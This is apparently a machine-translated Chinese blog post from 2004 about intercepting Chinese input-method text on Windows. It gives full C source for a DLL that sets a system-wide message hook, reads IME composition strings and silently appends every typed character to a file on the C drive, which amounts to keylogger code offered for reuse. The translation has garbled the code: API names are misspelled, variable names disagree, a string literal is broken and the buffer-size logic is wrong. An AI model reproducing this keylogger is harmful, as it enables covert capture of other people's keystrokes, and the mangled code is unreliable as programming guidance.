I have never noticed a problem before, which is the use of keyboard hooks to intercept characters, which is less than special characters, and said to the Chinese input method.
Later, I used the message hook to HOOK WM_IME_CHAR, this time most of it has been able to get it, but for other programs,
The WORD and the like can not be intercepted. Later, I check it on the MSDN. To use the WM_IME_COMPSITION message, and process the message
Use some library functions of IMM to get from the input method data area. For example, ImmgetContext, ImmgetCompationstring, and more.
The following is the source code:
// hook ime to get chinese input char
// make by Zwell
//2004.12.9
// this will build hook.dll, if you want to use, Just Use the export function installhook
// addtion: you must add the im32.lib Into Project, OtherWise, IT CAN NOT BE PASS ... ^ _ ^
#include "windows.h"
#include "imm.h"
#include "stdio.h"
#define hook_api __declspec (dllexport)
HHOOK G_HHOOK = NULL; // HOOK handle
Hinstance g_hhinstance = null; // program handle
LResult Callback MessageProc (int Ncode, WPARAM WPARAM, LPARAM LPARAM)
{
Lresult Lresult = Callnexthookex (G_HHHOOK, NCODE, WPARAM, LPARAM);
PMSG PMSG = (PMSG) LPARAM;
IF (ncode == hc_action)
{
Switch (PMSG-> Message)
{
Case WM_IME_COMPSITION:
{
HIMC HIMC;
HWND HWND = PMSG-> hwnd;
DWORD DWSIZE;
CHAR CH;
Char LPSTR [20];
IF (PMSG-> LPARAM & GCS_RESULTSTR)
{
// Get the input method of the window currently being entered
HIMC = ImmgetContext (hwnd);
IF (! hiMC)
{
MessageBox (NULL, IMMGETCONTEXT "," ImmgetContext ", MB_OK);
}
// First set the IMMGETCOMPSISITIONSTRING to 0 to get the string size.
DWSIZE = ImmgetCompationstring (HIMC, GCS_RESULTSTR, NULL, 0);
// Buffer size To add the NULL end symbol of the string,
// Take into account Unicode
DWSIZE = SIZEOF (Wchar);
MEMSET (LPSTR, 0, 20);
// call again. IMMGetCompositionString Get strings
ImmgetCompositionstring (HIMC, GCS_RESULTSTR, LPSTR, DWSIZE);
// Now LPSTR is an entered Chinese character. You can handle LPSTR, of course, you can save as file ...
MessageBox (NULL, LPSTR, LPSTR, MB_OK);
ImmreeleaseContext (HWND, HIMC);
}
}
Break;
Case wm_char: // Intercept the keyboard message of the forward focus window {
FILE * F1;
F1 = fopen ("c: //report.txt", "a ");
CH = (char) (PMSG-> WPARAM);
FWRITE (& CH, 1, 1, F1);
Fclose (F1);
}
Break;
}
}
Return (LRESULT);
}
Hook_api bool installhook ()
{
g_hook = setwindowshookex (wh_getMessage, (hookProc) MessageProc, g_hhinstance, 0);
Return True;
}
Hook_api bool unhook ()
{
Return UnHookWindowsHookex (g_hhook);
}
Bool apientry dllmain (Handle Hmodule,
DWORD UL_REASON_FOR_CALL,
LPVOID LPRESERVED
)
{
Switch (ul_reason_for_call)
{
Case DLL_Process_attach:
g_hhinstance = hmodule;
Break;
Case DLL_THREAD_ATTACH:
Break;
Case DLL_THREAD_DETACH:
Break;
Case DLL_PROCESS_DETACH:
UnHook ();
Break;
}
Return True;
}
/
HOOL.DEF module:
/
Library Hook
Exports
INSTALLHOOK
UnHook
In fact, there is still something to consider, that is, what is the message hook now, that is, hook to the team,
Once the program uses the incoming message, this method is not for, this time is to consider using the CallProc hook.
I hope to use it for everyone. ^ _ ^